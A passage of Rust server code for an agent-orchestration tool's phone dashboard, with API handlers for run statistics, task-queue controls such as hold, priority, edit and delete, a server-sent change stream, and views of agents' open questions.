7254/// repository. Matched by full-path equality against `RunState.repo` only
7255/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7256/// `--repo` is, because the value here always came from this same route's
7257/// own `repos` list in an earlier response, never typed by a human. A value
7258/// matching no run is a 404, not an empty aggregate: the caller asked for a
7259/// specific, named repository, and silently returning zeroes would look
7260/// exactly like a repository that has runs but none of interest.
7261#[derive(Debug, Default, Deserialize)]
7262#[serde(default)]
7263struct StatsQuery {
7264    repo: Option<String>,
7265    /// `?all=true` keeps agents that are no longer in the roster.
7266    all: bool,
7267    /// The dashboard fetches queue counts independently of run history.
7268    runs_only: bool,
7269}
7270
7271/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7272/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7273/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7274/// prints from. Reads every readable run on disk, exactly as
7275/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7276/// a separately-maintained tally could.
7277async fn stats_get(
7278    State(ui): State<Arc<Ui>>,
7279    Query(q): Query<StatsQuery>,
7280) -> ApiResult<Json<StatsView>> {
7281    blocking(move || {
7282        let states: Vec<RunState> = run_ids(&ui.runs)
7283            .into_iter()
7284            .filter_map(|id| read_run(&ui.runs, &id).ok())
7285            .collect();
7286        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7287            .iter()
7288            .map(RepoSummaryView::from)
7289            .collect();
7290        let mut scoped: Vec<&RunState> = states.iter().collect();
7291        let mut collected = match &q.repo {
7292            Some(repo) => {
7293                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7294                if filtered.is_empty() {
7295                    return Err(ApiError::not_found(format!(
7296                        "no runs recorded against repo `{repo}`"
7297                    )));
7298                }
7299                scoped = filtered.clone();
7300                stats::collect_refs(filtered)
7301            }
7302            None => stats::collect(&states),
7303        };
7304        if !q.all {
7305            let repo = q
7306                .repo
7307                .as_deref()
7308                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7309            stats::retain_current_roster(&mut collected, &repo);
7310        }
7311        let daily = stats::daily(
7312            scoped,
7313            jiff::Zoned::now().date(),
7314            &jiff::tz::TimeZone::system(),
7315            STATS_DAILY_DAYS,
7316        );
7317        let queue_counts = (!q.runs_only)
7318            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7319        Ok(Json(StatsView {
7320            totals: StatsTotalsView::from(&collected.totals),
7321            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7322            reviewers: collected
7323                .reviewers
7324                .iter()
7325                .map(ReviewerStatsView::from)
7326                .collect(),
7327            advisors: collected
7328                .advisors
7329                .iter()
7330                .map(AdvisorStatsView::from)
7331                .collect(),
7332            e2e: E2eStatsView::from(&collected.e2e),
7333            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7334            queue: queue_counts,
7335            runs_unreadable: runs_unreadable(&ui.runs),
7336            repos,
7337            daily: daily.iter().map(DailyStatsView::from).collect(),
7338            repo: q.repo.clone(),
7339            retired_hidden: collected.retired_hidden.clone(),
7340        }))
7341    })
7342    .await
7343}
7344
7345/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7346/// gives no reason - which must keep working, since not every hold has one.
7347#[derive(Debug, Default, Deserialize)]
7348#[serde(default, deny_unknown_fields)]
7349struct HoldBody {
7350    reason: Option<String>,
7351}
7352
7353async fn queue_hold(
7354    State(ui): State<Arc<Ui>>,
7355    Path(id): Path<String>,
7356    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7357) -> ApiResult<Json<TaskView>> {
7358    // An absent body is the ordinary case - most holds are unexplained, and
7359    // that has to stay a one-tap action rather than a form. A body that is
7360    // present and malformed is still a bad request.
7361    let body = match body {
7362        Ok(Json(body)) => body,
7363        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7364        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7365    };
7366    let reason = body.reason.filter(|r| !r.trim().is_empty());
7367    mutate(ui, id, move |t| {
7368        t.hold_manual(reason.clone());
7369        Ok(())
7370    })
7371    .await
7372}
7373
7374#[derive(Deserialize)]
7375#[serde(deny_unknown_fields)]
7376struct ReassignBody {
7377    repo: PathBuf,
7378}
7379
7380async fn queue_reassign(
7381    State(ui): State<Arc<Ui>>,
7382    Path(id): Path<String>,
7383    Json(body): Json<ReassignBody>,
7384) -> ApiResult<Json<TaskView>> {
7385    let home = ui.home.clone();
7386    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7387        .await
7388        .map_err(ApiError::bad_request_from)?;
7389    let notes = crate::task_reassign::advisory_notes(&task, &home);
7390    let mut view = TaskView::from(task);
7391    view.reassignment_notes = notes;
7392    Ok(Json(view))
7393}
7394
7395async fn queue_release(
7396    State(ui): State<Arc<Ui>>,
7397    Path(id): Path<String>,
7398) -> ApiResult<Json<TaskView>> {
7399    mutate(ui, id, |t| {
7400        t.release_operator("web", None);
7401        Ok(())
7402    })
7403    .await
7404}
7405
7406#[derive(Debug, Deserialize)]
7407#[serde(deny_unknown_fields)]
7408struct AttemptLimitBody {
7409    // Required even when clearing: missing fields must not silently erase an override.
7410    attempt_limit: serde_json::Value,
7411}
7412
7413async fn queue_attempt_limit(
7414    State(ui): State<Arc<Ui>>,
7415    Path(id): Path<String>,
7416    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7417) -> ApiResult<Json<TaskView>> {
7418    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7419    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7420        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7421    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7422}
7423
7424#[derive(Debug, Deserialize)]
7425#[serde(deny_unknown_fields)]
7426struct ImplementersBody {
7427    implementers: u8,
7428}
7429
7430async fn queue_implementers(
7431    State(ui): State<Arc<Ui>>,
7432    Path(id): Path<String>,
7433    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7434) -> ApiResult<Json<TaskView>> {
7435    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7436    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7437}
7438
7439#[derive(Debug, Deserialize)]
7440#[serde(deny_unknown_fields)]
7441struct UrgentBody {
7442    urgent: bool,
7443}
7444
7445async fn queue_urgent(
7446    State(ui): State<Arc<Ui>>,
7447    Path(id): Path<String>,
7448    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7449) -> ApiResult<Json<TaskView>> {
7450    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7451    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7452}
7453
7454/// The body of `POST /api/queue/{id}/priority`.
7455#[derive(Debug, Deserialize)]
7456#[serde(deny_unknown_fields)]
7457struct PriorityBody {
7458    priority: i32,
7459}
7460
7461/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7462///
7463/// [`Task::set_priority`] is the one place the "not while running" rule is
7464/// stated; this route only carries the body to it and lets its `Err` become
7465/// the 4xx the card shows.
7466async fn queue_priority(
7467    State(ui): State<Arc<Ui>>,
7468    Path(id): Path<String>,
7469    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7470) -> ApiResult<Json<TaskView>> {
7471    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7472    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7473}
7474
7475/// The body of `POST /api/queue/{id}/edit`.
7476#[derive(Debug, Deserialize)]
7477#[serde(deny_unknown_fields)]
7478struct EditBody {
7479    title: String,
7480    instruction: String,
7481    /// Save even though the new text names a branch, commit or pull request
7482    /// that unfinished work already owns.
7483    #[serde(default)]
7484    force: bool,
7485}
7486
7487/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7488/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7489/// that refusal's message is what the sheet shows back.
7490async fn queue_edit(
7491    State(ui): State<Arc<Ui>>,
7492    Path(id): Path<String>,
7493    body: std::result::Result<Json<EditBody>, JsonRejection>,
7494) -> ApiResult<Json<TaskView>> {
7495    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7496    // The judge is an agent call, so it is awaited here, outside the claim
7497    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7498    // remembered, and the save refuses if the task moved underneath it.
7499    let mut judged: Option<(String, PathBuf)> = None;
7500    if !body.force {
7501        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7502        let (id, text) = (id.clone(), body.instruction.clone());
7503        let (seen, hits) = blocking(move || {
7504            let id = resolve_task(&queue, &id)?;
7505            let t = queue.get(&id)?;
7506            if text == t.instruction {
7507                return Ok((None, Vec::new()));
7508            }
7509            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7510            Ok((Some((t.instruction, t.repo)), hits))
7511        })
7512        .await?;
7513        if let Some((_, repo)) = &seen {
7514            let cfg = crate::config::Config::discover(repo, None)
7515                .ok()
7516                .map(|(c, _)| c);
7517            let screened =
7518                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7519                    .await
7520                    .map_err(|dup| {
7521                        ApiError::conflict(dup.render(
7522                            "Nothing was saved. If it is not a duplicate, repeat the request \
7523                             with \"force\": true.",
7524                        ))
7525                    })?;
7526            if let crate::dupes::Screened::Unjudged(why) = screened {
7527                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7528            }
7529        }
7530        judged = seen;
7531    }
7532    let force = body.force;
7533    mutate(ui, id, move |t| {
7534        if !force && body.instruction != t.instruction {
7535            match &judged {
7536                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7537                _ => {
7538                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7539                }
7540            }
7541        }
7542        t.edit(body.title.clone(), body.instruction.clone())
7543    })
7544    .await
7545}
7546
7547/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7548/// it, so the phone's other way to clear a task from the backlog does not
7549/// have to cost the run history, the attribution, and `created_at` the way
7550/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7551/// can be marked done by hand, because this is for the run the loop never
7552/// saw land - a merge done by hand, or a gate that misreported - and that can
7553/// happen from any status the task was left in.
7554async fn queue_done(
7555    State(ui): State<Arc<Ui>>,
7556    Path(id): Path<String>,
7557) -> ApiResult<Json<TaskView>> {
7558    let home = ui.home.clone();
7559    mutate(ui, id, move |t| {
7560        t.succeed();
7561        // Same as the loop's own settle path: closing a task by hand is just
7562        // as much "this task's story is over" as a daemon-driven `Merged`/
7563        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7564        // behind must stop looking like it still needs a human. `ui.home`,
7565        // not the process-global `run::home()`: they agree in a real
7566        // process, but only `ui.home` also agrees with a test fixture's own
7567        // directory.
7568        crate::daemon::supersede_prior_runs(t, &home);
7569        Ok(())
7570    })
7571    .await
7572}
7573
7574/// `DELETE /api/queue/{id}`.
7575///
7576/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7577/// names this task: a `running` status or an orphaned `.lock` left behind by a
7578/// killed daemon is a leftover, and treating either as authority made the
7579/// task undeletable from the phone for good. The associated runs, if any, are
7580/// kept: a run is self-contained history and not an appendage of the task.
7581async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7582    blocking(move || {
7583        let id = resolve_task(&ui.queue, &id)?;
7584        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7585        ui.queue
7586            .remove(&id, in_flight, &ui.questions)
7587            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7588        Ok(StatusCode::NO_CONTENT)
7589    })
7590    .await
7591}
7592
7593/// Read a task, change it, write it back, under the queue's own lock.
7594///
7595/// Taking the same claim a daemon takes is what makes hold, release,
7596/// priority, edit, and done safe to press while magi is running: without it
7597/// the daemon's next save would land on top of the operator's change and
7598/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7599/// both do, for a running task - and that refusal becomes the 4xx the card
7600/// shows, same as any other domain rule.
7601async fn mutate(
7602    ui: Arc<Ui>,
7603    id: String,
7604    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7605) -> ApiResult<Json<TaskView>> {
7606    blocking(move || {
7607        let id = resolve_task(&ui.queue, &id)?;
7608        // `claim` fails when the lock file already exists, which is the
7609        // conflict the UI must report: the daemon owns that task's file for
7610        // as long as it is running it, and our write would be lost under its
7611        // next save. The message names the lock either way.
7612        let _claim = ui.queue.claim(&id).map_err(|e| {
7613            ApiError::conflict(format!(
7614                "{e:#} - a daemon is running this task, so it cannot be \
7615                 changed from here yet; wait until it is released, then retry"
7616            ))
7617        })?;
7618        let mut task = ui.queue.get(&id)?;
7619        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7620            Ok(dup) => ApiError::conflict(dup.render(
7621                "Nothing was saved. If it is not a duplicate, repeat the request with \
7622                 \"force\": true.",
7623            )),
7624            Err(e) => ApiError::bad_request_from(e),
7625        })?;
7626        ui.queue.put(&mut task)?;
7627        Ok(Json(TaskView::from(task)))
7628    })
7629    .await
7630}
7631
7632/// The change stream: one revision number per store, on connect and whenever
7633/// any of them moves.
7634///
7635/// One shared worker scans stores; clients only forward its notifications.
7636async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7637    ui.monitor.ensure_worker(&ui);
7638    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7639    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7640
7641    let state = Arc::clone(&ui);
7642    tokio::spawn(async move {
7643        let initial_revisions = {
7644            let guard = match state.monitor.latest.lock() {
7645                Ok(g) => g,
7646                Err(p) => p.into_inner(),
7647            };
7648            guard.as_ref().map(|(r, _)| *r)
7649        };
7650        if let Some(revisions) = initial_revisions {
7651            let initial_payload = serde_json::json!({
7652                "queue_rev": revisions.0,
7653                "runs_rev": revisions.1,
7654                "questions_rev": revisions.2,
7655                "talks_rev": revisions.3,
7656                "notifications_rev": revisions.4,
7657                "loop_rev": revisions.5,
7658            });
7659
7660            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7661                if tx.send(event).await.is_err() {
7662                    return;
7663                }
7664            }
7665        }
7666
7667        loop {
7668            match tokio::select! {
7669                _ = tx.closed() => return,
7670                value = broadcast_rx.recv() => value,
7671            } {
7672                Ok(notif) => {
7673                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7674                    else {
7675                        break;
7676                    };
7677                    if tx.send(event).await.is_err() {
7678                        break;
7679                    }
7680                }
7681                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7682                    let revs = {
7683                        let guard = match state.monitor.latest.lock() {
7684                            Ok(g) => g,
7685                            Err(p) => p.into_inner(),
7686                        };
7687                        guard.as_ref().map(|(r, _)| *r)
7688                    };
7689                    if let Some(revs) = revs {
7690                        let payload = serde_json::json!({
7691                            "queue_rev": revs.0,
7692                            "runs_rev": revs.1,
7693                            "questions_rev": revs.2,
7694                            "talks_rev": revs.3,
7695                            "notifications_rev": revs.4,
7696                            "loop_rev": revs.5,
7697                        });
7698                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7699                            if tx.send(event).await.is_err() {
7700                                break;
7701                            }
7702                        }
7703                    }
7704                }
7705                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7706                    break;
7707                }
7708            }
7709        }
7710    });
7711
7712    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7713        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7714}
7715
7716/// Run ids under `runs`, newest first.
7717///
7718/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7719/// which reads the process-global home: the server has to be drivable against
7720/// a temp directory for any of this to be testable.
7721fn run_ids(runs: &FsPath) -> Vec<String> {
7722    let mut ids: Vec<String> = std::fs::read_dir(runs)
7723        .into_iter()
7724        .flatten()
7725        .flatten()
7726        .filter(|e| e.path().join("run.json").is_file())
7727        .map(|e| e.file_name().to_string_lossy().into_owned())
7728        .collect();
7729    // Ids start with a sortable timestamp.
7730    ids.sort_unstable_by(|a, b| b.cmp(a));
7731    ids
7732}
7733
7734/// Read one run's state from an explicit runs root.
7735fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7736    let path = runs.join(id).join("run.json");
7737    let body =
7738        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7739    let state: RunState =
7740        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7741    // The same migration `RunState::load` applies, so a record from the
7742    // previous schema reads here as it does everywhere else (an origin-less
7743    // run shows as "origin unknown") instead of vanishing from the phone the
7744    // moment the schema is bumped.
7745    run::migrate_schema(state)
7746}
7747
7748/// Runs on disk under `runs` whose state this build cannot parse - almost
7749/// always a schema bump, occasionally a run killed mid-write.
7750///
7751/// Exposed so every surface that reports on runs shares one count instead of
7752/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7753/// `magi doctor` calls this directly rather than guessing at the same number
7754/// a second way.
7755#[must_use]
7756pub fn runs_unreadable(runs: &FsPath) -> usize {
7757    run_ids(runs)
7758        .into_iter()
7759        .filter(|id| read_run(runs, id).is_err())
7760        .count()
7761}
7762
7763fn plain_record_id(id: &str) -> bool {
7764    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7765}
7766
7767/// Expand an id or short id to exactly one run id.
7768fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7769    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7770        return Ok(id.to_owned());
7771    }
7772    pick(run_ids(runs), id, "run")
7773}
7774
7775/// Expand an id or short id to exactly one task id.
7776fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7777    if plain_record_id(id) && queue.path_of(id).is_file() {
7778        return Ok(id.to_owned());
7779    }
7780    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7781    pick(ids, id, "task")
7782}
7783
7784/// A question as the phone reads it.
7785///
7786/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7787/// text already parsed into a node tree so the client never runs its own
7788/// markdown reader over agent-authored prose. A relative image path in it
7789/// resolves against this question's own panel asset route, which is the one
7790/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7791/// separate, sandboxed document, but `detail` is rendered inline in the
7792/// operator's own page, so an image reference in it may only ever point at
7793/// files magi itself already serves for this question.
7794#[derive(Debug, Serialize)]
7795struct QuestionView {
7796    choice_effects: std::collections::BTreeMap<String, String>,
7797    record_revision: String,
7798    #[serde(flatten)]
7799    question: Question,
7800    detail_md: Vec<md::Node>,
7801    posting_view: Option<PostingView>,
7802    /// Each thread turn's body, parsed; same order as `question.thread`.
7803    thread_bodies_md: Vec<Vec<md::Node>>,
7804    /// Each thread turn's deputy note, parsed (`None` for a turn without
7805    /// one); same order as `question.thread`.
7806    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7807    /// Is the ball in the agent's court right now?
7808    ///
7809    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7810    /// [`Question::say`] - so this is the one field that tells the phone to
7811    /// disable the answer controls and show "waiting for the agent" instead of
7812    /// a card the owner can act on. Computed rather than stored on
7813    /// [`Question`] itself, on the same reasoning as `waiting` on
7814    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7815    /// it here means the client never has to re-derive that rule.
7816    waiting_on_agent: bool,
7817    /// Who is waiting on this open question - see [`holder_of`]. Separate
7818    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7819    /// anyone is there to take it.
7820    holder: Option<&'static str>,
7821    /// Whether `magi serve` can start a follow-up agent for a conductor
7822    /// question at all: false when `daemon.max_deputies = 0` or the config is
7823    /// unreadable. Separate from `holder`, which says who is listening now.
7824    deputies_enabled: bool,
7825    /// All starts were spent and no live holder remains. Display-only: the
7826    /// final attempt increments `starts` before running under its lease.
7827    deputy_exhausted: bool,
7828    text_delivery: crate::question_delivery::Availability,
7829    /// `question.run` is a task id (conductor / triage questions), not a run
7830    /// id, so the UI links it to the task page.
7831    run_is_task: bool,
7832    /// The existing chat this question's task came from, including settled
7833    /// questions - see [`crate::consult::associated_talk`].
7834    origin_chat: Option<String>,
7835    /// `origin_chat` is closed; consulting reopens it first.
7836    origin_chat_closed: bool,
7837    /// Consultation eligibility is separate from navigation to the chat.
7838    can_consult_chat: bool,
7839}
7840
7841#[derive(Debug, Serialize)]
7842struct PostingView {
7843    before_md: Vec<md::Node>,
7844    after_md: Vec<md::Node>,
7845    fields: Vec<crate::github_text::ComparisonView>,
7846}
7847
7848fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7849    let comparison = question.posting_comparison.as_ref()?;
7850    if !comparison.matches_detail(&question.detail) {
7851        return None;
7852    }
7853    let mut ids = std::collections::BTreeSet::new();
7854    if comparison.fields.is_empty()
7855        || comparison
7856            .fields
7857            .iter()
7858            .flat_map(|f| &f.pairs)
7859            .any(|p| !ids.insert(p.id))
7860        || comparison
7861            .fields
7862            .iter()
7863            .flat_map(|f| &f.original_triggers)
7864            .any(|t| !ids.insert(t.id))
7865    {
7866        return None;
7867    }
7868    let fields = comparison
7869        .fields
7870        .iter()
7871        .map(|f| f.view(comparison.excerpt))
7872        .collect::<Option<Vec<_>>>()?;
7873    Some(PostingView {
7874        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7875        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7876        fields,
7877    })
7878}
7879
7880impl QuestionView {
7881    /// The view of `question`, reading who is waiting on it from `store`.
7882    ///
7883    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7884    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7885        let base = md::ImageBase::QuestionPanel {
7886            id: question.id.clone(),
7887        };
7888        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7889        Self {
7890            choice_effects: question
7891                .choices
7892                .iter()
7893                .filter_map(|c| {
7894                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7895                })
7896                .collect(),
7897            record_revision: question_record_revision(&question),
7898            detail_md: md::to_nodes(&question.detail, &base),
7899            posting_view: posting_view(&question, &base),
7900            thread_bodies_md: question
7901                .thread
7902                .iter()
7903                .map(|t| md::to_nodes(&t.body, &base))
7904                .collect(),
7905            thread_notes_md: question
7906                .thread
7907                .iter()
7908                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7909                .collect(),
7910            deputy_exhausted: store.deputy_exhausted(&question),
7911            waiting_on_agent: question.waiting_on_agent(),
7912            holder,
7913            deputies_enabled: deputies_enabled(cfg, &question),
7914            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7915            run_is_task: question.run_names_task(),
7916            origin_chat: None,
7917            origin_chat_closed: false,
7918            can_consult_chat: false,
7919            question,
7920        }
7921    }
7922
7923    /// Fill `origin_chat` from the queue and the talks.
7924    fn with_origin(
7925        mut self,
7926        tasks: &[crate::queue::Task],
7927        talks: &[Talk],
7928        watches: &[crate::release_watch::WatchState],
7929    ) -> Self {
7930        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7931        self.can_consult_chat = consult.is_some();
7932        let talk =
7933            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7934        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7935        self.origin_chat = talk.map(|t| t.id);
7936        self
7937    }
7938}
7939
7940/// The config this repository resolves, or `None` when it cannot be read.
7941/// Discovering is git processes plus a config render, so a request that needs
7942/// it for many items takes it once and passes it down.
7943fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7944    Config::discover(repo, None).ok().map(|(c, _)| c)
7945}
7946
7947/// Can `magi serve` start a deputy for this question under `cfg`?
7948fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7949    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7950}
7951
7952/// The views `GET /api/questions` answers. `load` runs at most once, however
7953/// many questions there are, and not at all when there are none.
7954fn question_views(
7955    qs: Vec<Question>,
7956    store: &ask::Questions,
7957    load: impl FnOnce() -> Option<Config>,
7958) -> Vec<QuestionView> {
7959    if qs.is_empty() {
7960        return Vec::new();
7961    }
7962    let cfg = load();
7963    qs.into_iter()
7964        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7965        .collect()
7966}
7967
7968/// Who is honestly waiting on an open question right now: `"asker"` (the
7969/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7970/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7971/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7972/// up, or the question never had anyone listening (a conductor question or a
7973/// merge approval from before deputies, or not yet given one).
7974///
7975/// `None` for a question that is settled, and for one that is not an agent's
7976/// to wait on at all (a release notice).
7977fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7978    if !q.status.open() {
7979        return None;
7980    }
7981    if q.cwd.is_none()
7982        && q.deputy.is_none()
7983        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7984    {
7985        return crate::deputy::kind_of(q).map(|_| "nobody");
7986    }
7987    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7988        Some(_) if q.deputy.is_some() => "deputy",
7989        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7990        Some(_) => "asker",
7991        None => "nobody",
7992    })
7993}
7994
7995/// `GET /api/questions`.
7996///
7997/// Everything, not just the open ones: an answered question is the record of a
7998/// decision, and the phone is where the operator goes back to check what they
7999/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8000async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8001    blocking(move || {
8002        let questions = ui.questions.list();
8003        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8004        Ok(Json(
8005            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8006                .into_iter()
8007                .map(|view| view.with_origin(&tasks, &talks, &watches))
8008                .collect(),
8009        ))
8010    })
8011    .await
8012}
8013
8014/// Question content and answer controls never wait for task/chat provenance.
8015async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8016    blocking(move || {
8017        Ok(Json(question_views(
8018            ui.questions.list(),
8019            &ui.questions,
8020            || deputy_config(&ui.repo),
8021        )))
8022    })
8023    .await
8024}
8025
8026fn question_record_revision(question: &Question) -> String {
8027    use std::hash::{Hash as _, Hasher as _};
8028    let mut hash = std::hash::DefaultHasher::new();
8029    serde_json::to_vec(question)
8030        .expect("serializable question")
8031        .hash(&mut hash);
8032    format!("{:016x}", hash.finish())
8033}
8034
8035#[derive(Serialize)]
8036struct QuestionOriginView {
8037    id: String,
8038    record_revision: String,
8039    origin_chat: Option<String>,
8040    origin_chat_closed: bool,
8041    can_consult_chat: bool,
8042}
8043
8044async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8045    blocking(move || {
8046        let questions = ui.questions.list();
8047        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8048        Ok(Json(
8049            questions
8050                .into_iter()
8051                .map(|question| {
8052                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8053                    let can_consult_chat = consult.is_some();
8054                    let talk = crate::consult::associated_talk_with_watches(
8055                        &tasks, &talks, &question, &watches,
8056                    );
8057                    QuestionOriginView {
8058                        record_revision: question_record_revision(&question),
8059                        id: question.id,
8060                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8061                        origin_chat: talk.map(|talk| talk.id),
8062                        can_consult_chat,
8063                    }
8064                })
8065                .collect(),
8066        ))
8067    })
8068    .await
8069}
8070
8071type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8072
8073/// Only the task ancestry and chats these questions actually reference. Run
8074/// mappings share the reconciled queue index; exact task references bypass it.
8075/// No question means no task/chat I/O, including no index reconciliation.
8076fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8077    fn task_for_run(
8078        ui: &Ui,
8079        index: &mut Option<Vec<Arc<TaskRelation>>>,
8080        run: &str,
8081        loaded: &HashMap<String, Task>,
8082    ) -> ApiResult<Option<Task>> {
8083        if !plain_record_id(run) {
8084            return Ok(None);
8085        }
8086        if index.is_none() {
8087            *index = Some(ui.indexed_tasks()?);
8088        }
8089        Ok(index
8090            .as_ref()
8091            .expect("loaded index")
8092            .iter()
8093            .find(|task| task.runs.iter().any(|id| id == run))
8094            .and_then(|task| {
8095                loaded
8096                    .get(&task.id)
8097                    .cloned()
8098                    .or_else(|| ui.queue.get(&task.id).ok())
8099            })
8100            .filter(|task| task.runs.iter().any(|id| id == run)))
8101    }
8102    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8103        plain_record_id(id)
8104            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8105            .flatten()
8106            .filter(|task| task.id == id)
8107    };
8108    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8109    let mut index = None;
8110    let mut tasks = HashMap::new();
8111    let mut talks = HashMap::new();
8112    for question in questions {
8113        for reference in crate::consult::question_task_refs(question, &watches) {
8114            let mut current = match reference {
8115                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8116                crate::consult::QuestionTaskRef::Run(id) => {
8117                    task_for_run(ui, &mut index, id, &tasks)?
8118                }
8119            };
8120            let mut seen = HashSet::new();
